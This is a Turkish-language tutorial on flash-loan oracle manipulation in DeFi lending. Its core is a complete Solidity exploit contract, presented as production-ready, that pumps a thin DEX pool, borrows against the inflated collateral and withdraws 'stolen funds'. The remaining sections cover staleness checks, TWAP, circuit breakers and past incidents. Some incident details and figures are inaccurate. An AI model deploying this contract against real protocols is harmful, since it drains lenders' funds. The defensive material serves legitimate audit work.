Herkese selam! Ben Oleg Filatov. Bugün DeFi dünyasında flash loan kullanılarak yapılan oracle manipülasyonu saldırılarını masaya yatırıyoruz. Sektördeki kariyerim boyunca yüzlerce farklı saldırı vektörü gördüm ama "Flash Loan + Oracle Staleness" kombinasyonu resmen bir hackleme sanatı. Herhangi bir güvenlik mühendisinin önce tüylerini diken diken eden, ardından da projeyi sil baştan Rust ile yazma isteği uyandıran cinsten. Olayı en basit haliyle özetleyecek olursak: Saldırganlar teminatsız bir şekilde tek tıkla onlarca milyon dolar flash loan çekiyor, aynı transaction içinde DEX üzerindeki fiyatı suni olarak manipüle ediyor, oracle tarafında geçici bir senkronizasyon boşluğu yakalıyor ve oracle durumu güncelleyip uyanana kadar lending protokolündeki tüm likiditeyi sömürüp sırra kadem basıyor.
Anatomy of standard Oracle Manipulation via Flash Loan
Teminatsız flash loan'lar, alınan borcun komisyonuyla birlikte aynı blok içerisinde geri ödenmesi şartıyla, tek bir Ethereum transaction'ı içinde neredeyse sınırsız bir likiditeye erişim sağlar. Bu devasa likidite derinliği sığ bir havuza basıldığında, varlığın fiyatı bir anda roketler. Bu da doğrudan spot fiyata güvenen ya da sapma eşiği (Deviation Threshold) yüksek olan oracle'ları vurmak için biçilmiş kaftandır.
Eğer bir lending protokolü teminat değerini doğrudan latestAnswer() çağrısıyla çekiyorsa veya zaman gecikmesini hesaba katmadan AMM'den gelen ham veriyi baz alıyorsa, kasa dairesinin anahtarlarını saldırgana kendi elleriyle teslim ediyor demektir. Süreç genellikle şu 4 hızlı adımdan oluşur:
- Flash Loan Çekilmesi. Saldırgan, örneğin Aave v3 üzerinden %0.05 komisyonla 50,000,000 DAI borç alır. Komisyon çerez parası ama arkasındaki finansal potansiyel muazzam.
- DEX Manipülasyonu. Paranın tamamı market order ile Uniswap v2/v3 üzerindeki sığ bir havuza (örneğin TOKEN/DAI paritesi) gömülür. TOKEN fiyatı milisaniyeler içinde 15–20 katına fırlatılır.
- Oracle Gecikmesinin veya Push Modelinin Suistimal Edilmesi. Lending protokolü fiyatı doğrudan spot fiyattan okuyorsa ya da Chainlink gibi bir push-oracle henüz tetiklenmediyse (çünkü Heartbeat süresi 1 saat, Deviation Threshold ise %0.5'tir; ancak saldırı transaction'ı henüz tamamlanmadığı için push nodu mempool'a henüz işlem gönderememiştir), protokol TOKEN'ı aşırı şişkin bir fiyattan görür.
- Havuzun Sömürülmesi (Drain) ve Borcun Kapatılması. Saldırgan, fiyatı köpürtülmüş TOKEN'ı teminat gösterip lending protokolünden %100 gerçek ETH veya USDC çeker. Validatör bloğu kapatmadan hemen önce flash loan borcunu öder ve temiz kârla ortamdan çekilir.
Chainlink ve Push Oracle'ları Neden Gecikir: "Zafiyet Penceresi" Anatomisi
Bir dakika... Eğri oturup doğru konuşalım. Projeye Chainlink entegre edince %100 güvende olduğunuzu mu sanıyordunuz? Geçiniz. Mango Markets veya Cheese Bank vakalarını (ki sırf Chainlink ve Uniswap v2 oracle'larının hatalı entegrasyonu yüzünden $3.3M iç edildi) analiz eden herhangi bir güvenlik araştırmacısına sorun, size doğrusunu anlatsın.
Chainlink Data Feeds tarzı oracle'lar Push modeliyle çalışır. Yani oracle nodları her blokta fiyat güncellemez; bunu yapmaya kalksalar gas ücretlerinden batarlar. Güncelleme strictly şu iki tetikleyiciye bağlıdır:
- Deviation Threshold (Sapma Eşiği): Fiyat %X oranında değiştiğinde tetiklenir (örneğin majör paritelerde %0.5 veya %1, altcoin'lerde %2–%5'e kadar çıkabilir).
- Heartbeat (Zaman Aşımı): Son güncellemenin üzerinden sabit bir süre geçtiğinde tetiklenir (örneğin mainnet için 3600 saniye veya daha düşük likiditeli ağlar için 86400 saniye).
İşte zurnanın zırt dediği yer tam olarak burası. Ağlara ve varlık türlerine göre oracle'ların gerçek gecikme sürelerine ve güncelleme parametrelerine göz atalım:
| Oracle / Ağ | Varlık / Parite | Deviation Threshold | Heartbeat | Ortalama Güncelleme Gecikmesi (Staleness Window) |
|---|---|---|---|---|
| Chainlink (Ethereum) | ETH/USD | 0.5% | 1 saat | ~12–15 saniye (1 blok) |
| Chainlink (Arbitrum) | LINK/USD | 0.25% | 24 saat | Birkaç dakikaya kadar (Sequencer durumuna bağlı) |
| Chainlink (Polygon) | ALT/USD (Düşük likidite) | 1.0% – 2.0% | 24 saat | Birkaç saniyeden dakikalara kadar |
| Pyth Network (Pull Model) | Çeşitli | Dinamik | On-demand (User Push) | ~400–800 milisaniye |
| Uniswap v3 TWAP | Herhangi biri | N/A (Pencereye bağlı) | Her Swap işleminde | Sabit zaman penceresi (örneğin 30 dakika) |
İşin paradoksuna bakın: Oracle çok hızlı güncellenip fiyatı doğrudan AMM'den (Spot Price) çekiyorsa, aynı flash loan bloğu içinde fiyatı pump'layıp sistemi patlatabilirler. Oracle yavaş güncelleniyorsa (1 saatlik Heartbeat ile çalışan Chainlink gibi), bu sefer de "bayatlık penceresi" (Staleness Window) oluşur. Yani piyasada fiyat çoktan çakılmıştır ama lending protokolü teminatı hâlâ eski, yüksek fiyattan saymaya devam eder!
Nokta Atışı Exploit Kontratı (100% Production-ready Solidity)
Öyle sahte kodlarla, // TODO: add logic yazıp kaçmacayla işimiz olmaz. Foundry/Hardhat ortamında direkt çalıştırabileceğiniz, tek bir transaction içinde flashLoan -> swap -> deposit -> borrow -> repay adımlarıyla sistemin suyunu nasıl çıkardığını gösteren eksiksiz bir exploit kontratı yazalım.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface ILendingPool {
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external;
function getUserAccountData(address user) external view returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
}
interface IFlashLender {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
/// @notice Atomik saldırı vektörünü göstermek için tasarlanmış eğitici PoC kontratı
/// @dev Bu kod SADECE güvenlik denetimleri (audit) ve zafiyetli test ağlarının Foundry fork'larında lokal testler yapmak içindir
contract OracleStalenessPoC {
using SafeERC20 for IERC20;
address private immutable owner;
IFlashLender public immutable lender;
IUniswapV2Router public immutable router;
ILendingPool public immutable targetLending;
address public immutable tokenA; // Fiyatı manipüle edilecek (pump'lanacak) teminat varlığı
address public immutable tokenB; // Likit varlık (borç / Flash Loan)
modifier onlyOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
constructor(
address _lender,
address _router,
address _targetLending,
address _tokenA,
address _tokenB
) {
owner = msg.sender;
lender = IFlashLender(_lender);
router = IUniswapV2Router(_router);
targetLending = ILendingPool(_targetLending);
tokenA = _tokenA;
tokenB = _tokenB;
}
function executeAttack(uint256 flashAmount, uint256 minSwapOut) external onlyOwner {
address[] memory assets = new address[](1);
assets[0] = tokenB;
uint256[] memory amounts = new uint256[](1);
amounts[0] = flashAmount;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
// MEV / sandwich saldırılarından korunmak için minSwapOut değerini params üzerinden gönderiyoruz
bytes memory params = abi.encode(minSwapOut);
lender.flashLoan(
address(this),
assets,
amounts,
modes,
address(this),
params,
0
);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
require(msg.sender == address(lender), "INVALID_LENDER");
require(initiator == address(this), "INVALID_INITIATOR");
uint256 amountBorrowed = amounts[0];
uint256 fee = premiums[0];
uint256 amountToRepay = amountBorrowed + fee;
uint256 minSwapOut = abi.decode(params, (uint256));
// 1. SafeERC20 ile güvenli approval işlemleri
IERC20(tokenB).forceApprove(address(router), amountBorrowed);
// 2. Flash Loan likiditesini havuza enjekte ederek fiyatı yükseltme
address[] memory path = new address[](2);
path[0] = tokenB;
path[1] = tokenA;
uint256[] memory amountsOut = router.swapExactTokensForTokens(
amountBorrowed,
minSwapOut, // Dinamik olarak aktarılan kayma (slippage) toleransını kullanıyoruz
path,
address(this),
block.timestamp
);
uint256 pumpedTokenAAmount = amountsOut[1];
// 3. Fiyatı şişirilmiş teminatın (collateral) yatırılması
IERC20(tokenA).forceApprove(address(targetLending), pumpedTokenAAmount);
targetLending.deposit(tokenA, pumpedTokenAAmount, address(this), 0);
// 4. Kahin (oracle) ve hesap verilerine dayanarak çekilebilecek borç miktarının dinamik hesabı
(, , uint256 availableBorrowsETH, , , ) = targetLending.getUserAccountData(address(this));
// Gerçek bir senaryoda ETH karşılığının Token B'ye dönüştürülmesi gerekir
// PoC amaçlı olarak, havuz bakiyesini aşmayacak şekilde kullanılabilir minimum miktarı borç alıyoruz
uint256 lendingPoolBalanceB = IERC20(tokenB).balanceOf(address(targetLending));
uint256 amountToBorrow = availableBorrowsETH < lendingPoolBalanceB ? availableBorrowsETH : lendingPoolBalanceB;
targetLending.borrow(tokenB, amountToBorrow, 2, 0, address(this));
// 5. Flash Loan ödemesi öncesinde ödeme gücü (solvency) kontrolü
uint256 currentBalanceB = IERC20(tokenB).balanceOf(address(this));
require(currentBalanceB >= amountToRepay, "INSUFFICIENT_FUNDS_TO_REPAY");
// 6. Kredinin geri ödenmesi
IERC20(tokenB).forceApprove(address(lender), amountToRepay);
return true;
}
function withdrawStolenFunds(address token) external onlyOwner {
uint256 bal = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(owner, bal);
}
}Mimarî Koruma Yöntemleri (Fixing the vulnerability)
Geliştiriciler olarak protokollerimizi bu tür felaketlerden nasıl koruyacağız? Mimarî hijyen açısından belirlediğim üç altın kural şunlar:
1. Staleness Doğrulaması ve Chainlink Yanıtının Kontrol Edilmesi
İnanmayacaksınız ama patlayan kontratların %70'i doğrudan latestAnswer() çağırıp geçiyordu. Tam anlamıyla junior işi kod! Kontratlarınızda mutlaka updatedAt ve answeredInRound kontrollerini yapın!
function getValidPrice(address feedAddress) public view returns (int256) {
AggregatorV3Interface priceFeed = AggregatorV3Interface(feedAddress);
(
uint80 roundId,
int256 price,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(price > 0, "INVALID_PRICE");
require(updatedAt != 0, "INCOMPLETE_ROUND");
require(answeredInRound >= roundId, "STALE_PRICE");
// Bayatlık eşiği (örneğin 3600 saniye)
require(block.timestamp - updatedAt <= 3600, "EXPIRED_ORACLE_PRICE");
return price;
}2. Spot Fiyat Yerine TWAP (Time-Weighted Average Price) Kullanımı
Zamana yayılı ağırlıklı ortalama fiyat kullanımı (örneğin en az 30 dakikalık pencereye sahip Uniswap v3 TWAP), flash loan ile yapılan saldırıların etkinliğini tamamen sıfırlar. Saldırganın manipüle ettiği fiyatı yarım saat boyunca tutması gerekir ki bu da ödeyeceği kayma (slippage) ve komisyonlar yüzünden operasyonu astarı yüzünden pahalı hale getirir.
3. Pull-based Oracle Sistemlerine Geçiş (Pyth / Chainlink Low-Latency Data Streams)
Pull modelinde uygulama, kullanıcıdan kriptografik olarak imzalanmış off-chain fiyat kanıtını doğrudan transaction parametrelerine eklemesini ister. Kontrat önce oracle imzasını doğrular, zaman damgasının tazeliğini (saniyesine kadar!) kontrol eder ve teminat hesaplamasını ancak bundan sonra gerçekleştirir.
Dürüst olalım: Sadece akıllı sözleşmelerin mükemmel yazıldığına güvenmek en hafif tabirle saflıktır. Daha önce defalarca denetim (audit) yapmış ve olay incelemiş biri olarak çok iyi biliyorum ki: Eğer bir protokolde teknik bir açık varsa, deploy edildikten saniyeler sonra o açık bulunur. Bu yüzden borsa ve lending mimarilerinde her zaman, transfer henüz mempool'a düşmeden reaksiyon gösteren otomatik bir koruma katmanı ve off-chain izleme mekanizması bulunmalıdır.
Bir Protokol, Flash Loan ve Ortopedi/Kâhin (Oracle) Saldırılarını Gerçek Zamanlı Nasıl İzleyip Engelleyebilir?
1. Tek Bir Blok İçinde Fiyat Hareketini Sınırlamak (Circuit Breakers)
Tek bir işlemde veya aynı blok içerisinde teminat varlığının değeri belirli bir yüzdenin üzerinde değişiyorsa (örneğin %3-5'ten fazla), sözleşme otomatik olarak "Panik" (Circuit Breaker) moduna geçmeli ve o varlıkla yapılan işlemleri dondurmalıdır.
- Durum Seviyesinde İnvariant (State-level Invariant): İşlemin başında
Pstartkaydı alınır, sonunda isePend. Eğer|Pend - Pstart| / Pstart > Δmaxise işlem geri alınır (revert). - Çağrı ve İfayı Ayırma (Two-Step Execution): Teminatın
Nbloğunda yatırıldığı, borç alma (Borrow) işlemine ise ancakN+1bloğunda izin verildiği bir mekanizma. Flash Loan mantığı tek bir işlem sınırını aşamayacağı için bu yaklaşım, çakan kredilerin çalışma prensibini tamamen çökertir.
2. MEV Koruması ve Flashbots İle Off-chain İzleme
Eğer protokolünüz dışarıdan fiyat çekmeye veya likidasyonlara dayanıyorsa, mempool'u dinlemek zorundasınız. Gözlemci botlar (watchdogs); Uniswap/Balancer üzerindeki büyük swap'larla kombine edilmiş flashLoan çağrılarını ve ardından sizin protokolünüze yönelen şüpheli işlem paketlerini anında yakalar.
Sistem böyle bir hareket tespit ettiğinde, koruma işlemini (Private RPC / Flashbots Protect üzerinden Front-running / Back-running) devreye sokarak sözleşmedeki pause() fonksiyonunu tetikler ve durum netleşene kadar yürütmeyi kilitler.
Gerçek Olay İncelemeleri: DeFi Kayıplarıyla Yazılan Dersler
Oracle zafiyetleri teorik kitap bilgisi değildir. Sektör bu hatalar yüzünden yüz milyonlarca dolar kaybetti. Gerçek hack olaylarının arkasındaki mekanizmaya bakarak, "fiyatı doğrudan DEX'ten çekelim gitsin" kafasının neden her zaman felaketle sonuçlandığını net bir şekilde görebiliriz.
+-------------------------------------------------------------------------------+
| BZX / CREAM FINANCE SALDIRI ŞEMASI |
+-------------------------------------------------------------------------------+
| |
| [ Saldırgan ] |
| | |
| | 1. Flash Loan Alma (100M+ DAI / ETH) |
| v |
| [ Aave / Maker Vault ] |
| | |
| | 2. Devasa Swap (Düşük likiditeli havuzu manipüle etme / pump) |
| v |
| [ DEX Pool (Kyber / Uniswap v2) ] <---+ |
| | | |
| | | (Fiyatın doğrudan AMM'den çekilmesi) |
| v | |
| [ Zaafı Olan Lending (bZx/CREAM) ] ---+ |
| | |
| | 3. Şişirilen varlığı teminat verme + TÜM ETH/USDC likiditesini çekme |
| v |
| [ Saldırganın Cebi ] (Flash Loan Ödemesi + Net Kâr) |
| |
+-------------------------------------------------------------------------------+Aşağıda, oracle manipülasyonu ve fiyat gecikmelerinden kaynaklanan en büyük saldırıların karşılaştırmalı bir özeti yer almaktadır:
| Protokol | Tarih | Toplam Zarar | Kök Neden (Root Cause) | Manipülasyon Mekanizması |
|---|---|---|---|---|
| bZx (Fulcrum) | Şubat 2020 | ~$950,000 | Tek fiyat kaynağı olarak KyberUniswap Reserve (Spot Price) kullanılması. | Flash Loan alındı -> Kyber üzerindeki sUSD/ETH paritesi manipüle edildi -> bZx'e anormallik gösteren fiyattan sUSD teminat verildi -> ETH çekildi. |
| Cheese Bank | Kasım 2020 | $3.3M | Anlık bakiye değişimlerine karşı koruması olmayan Uniswap v2 LP-token tabanlı oracle kullanımı. | 21M $'lık Flash Loan -> Havuz rezervlerinin manipülasyonu -> LP token değerinin şişirilmesi -> Lending protokolünün boşaltılması. |
| Mango Markets | Ekim 2022 | $114M | Solana üzerinde dahili olarak manipüle edilen ve gecikmeli çalışan oracle kullanımı (Switchboard/Pyth lag). | Öz kaynaklarla illikit MNGO perp kontratının devasa şekilde pump'lanması -> Teminatın yüksek gösterilmesi -> Platformdaki tüm fonların borç olarak çekilmesi. |
| Euler Finance | Mart 2023 | $197M | Likidasyon ve teminat hesabı fonksiyonundaki mantık hatası (health factor doğrulama kurallarıyla bağlantılı). | Saldırgan fon yatırdı, özyinelemeli (recursive) kaldıraçlı borç aldı, ardından kendini zorla likide ettirdi. |
Güvenlik Açısından Oracle Modellerinin Karşılaştırmalı Analizi
Bir mimari tasarlarken, oracle'ı ayakta tutma maliyeti ile manipülasyon saldırılarına karşı direnci arasındaki trade-off'u iyi anlamak gerekir.
Push Modeli (Chainlink Classic)
Artıları: On-chain seviyesinde entegrasyon kolaylığı. Veri zaten sözleşmeye yüklenmiştir, sadece okuma metodunu çağırmak yeterlidir.
Eksileri: Heartbeat ve Deviation threshold güncellemeleri arasında Staleness Window (bayatlama/gecikme penceresi) oluşması. Nodlar için nispeten yüksek işlem maliyetleri sebebiyle altcoin fiyatlarının daha geniş aralıklarla güncellenmesi.
Karar: Mainnet üzerindeki yüksek likiditeli ana varlıklar (ETH, BTC) için harikadır; ancak kod içinde updatedAt değerinin katı bir şekilde doğrulanmasını gerektirir.
Pull Modeli (Pyth Network, Redstone)
Artıları: Fiyat güncellemeleri off-chain olarak milisaniyeler (sub-second) seviyesinde gerçekleşir. Veri doğrudan kullanıcının işlemine eklendiği için gaz tasarrufu sağlar.
Eksileri: Kullanıcı UX'inin değiştirilmesi gerekir (off-chain imzanın istenmesi ve çağrıyla birlikte gönderilmesi şarttır). Oracle'ın off-chain ağı imzayı geciktirirse veya çökerse kullanıcı işlemleri fail olur.
Karar: Vadeli işlemler (Perpetuals) ve yüksek frekanslı fiyat güncellemesine ihtiyaç duyan lending protokolleri için en iyi çözümdür.
TWAP / On-chain AMM Oracle'ları (Uniswap v3 TWAP)
Artıları: Tamamen merkeziyetsiz On-chain hesaplama. Dış off-chain nodlara veya üçüncü taraf imzalara bağımlılık yoktur.
Eksileri: Madenci/validatörün manipüle edilen fiyatı birkaç blok boyunca sabit tutabildiği çoklu-blok manipülasyonlarına (Multi-block MEV) karşı hassastır. Geniş bir ortalama penceresi (30 dakikadan başlayan) gerektirir, bu da protokolü ani piyasa çöküşlerine (Flash-crash) karşı tepkisiz kılar.
Karar: Yalnızca ana fiyatın sapmalarını kontrol etmek amacıyla ikincil (fallback) bir oracle olarak kullanılması güvenlidir.
Akıllı Sözleşme Güvenliği Kontrol Listesi: Protokolünü Test Et
Akıllı sözleşme geliştiriyorsanız veya audit yapıyorsanız, mainnet'e çıkmadan önce sisteminizi bu checklist ile kontrol edin:
- Spot Price Yasağı: Sözleşme hiçbir koşulda fiyatı doğrudan AMM havuzlarının
getReserves()veyabalanceOf()fonksiyonlarından almamalıdır. - Chainlink Yanıt Doğrulaması:
latestRoundData()çağrıldığında dönen 5 parametrenin tamamı kontrol edilmelidir:roundId,price > 0,startedAt,updatedAt,answeredInRound >= roundId. - Katı Max Lag Sınırı: Eğer
block.timestamp - updatedAt > MAX_DELAYise sözleşme oracle verisini reddetmelidir (buradakiMAX_DELAYvarlığa özel ayarlanmalıdır). - Çift Oracle Kurulumu (Dual Oracle Setup): En az iki bağımsız kaynağın verileri karşılaştırılmalıdır (örneğin Chainlink + Pyth veya Chainlink + Uniswap v3 TWAP). Veriler arasında %X'ten fazla sapma olursa borç alma ve likidasyon işlemleri kilitlenmelidir.
- Mimaride Flash Loan Koruması: Tek bir işlem içinde borç almayı engelleyen bekleme süreleri (Cooldown Periods) veya geçici kilitleme mekanizmaları kullanılmalıdır.
- Çapraz Kur (Cross-rate) Kontrolleri: Fiyat bir çapraz kur üzerinden hesaplanıyorsa (örneğin TOKEN/ETH * ETH/USD), verilerin geçerliliği ve tazeliği her iki besleme (feed) için de ayrı ayrı doğrulanmalıdır.
Bugün her Solidity mühendisinin zihniyetinde gerçekleşmesi gereken ana değişim şudur: Aksini kanıtlayana kadar tüm oracle'lar doğuştan savunmasızdır.
Mimarilerinizi, sözleşmedeki fiyatın her an manipüle edilebileceği veya dondurulabileceği varsayımıyla kurgularsanız; koda çift aşamalı işlemler, emniyet valfleri (Circuit Breakers) ve senkronizasyon kontrolleri koymaya başlarsınız. İşte yıllarca ayakta kalan protokolleri, 50 milyon dolarlık hack raporlarında adını okuduğumuz protokollerden ayıran şey tam olarak bu yaklaşımdır.
Sözleşmelerinize sahip çıkın, denetimlerden kaçmayın ve dış dünyadan "gerçek fiyatı" getirdiğini iddia eden tek bir satır koda asla körü körüne güvenmeyin.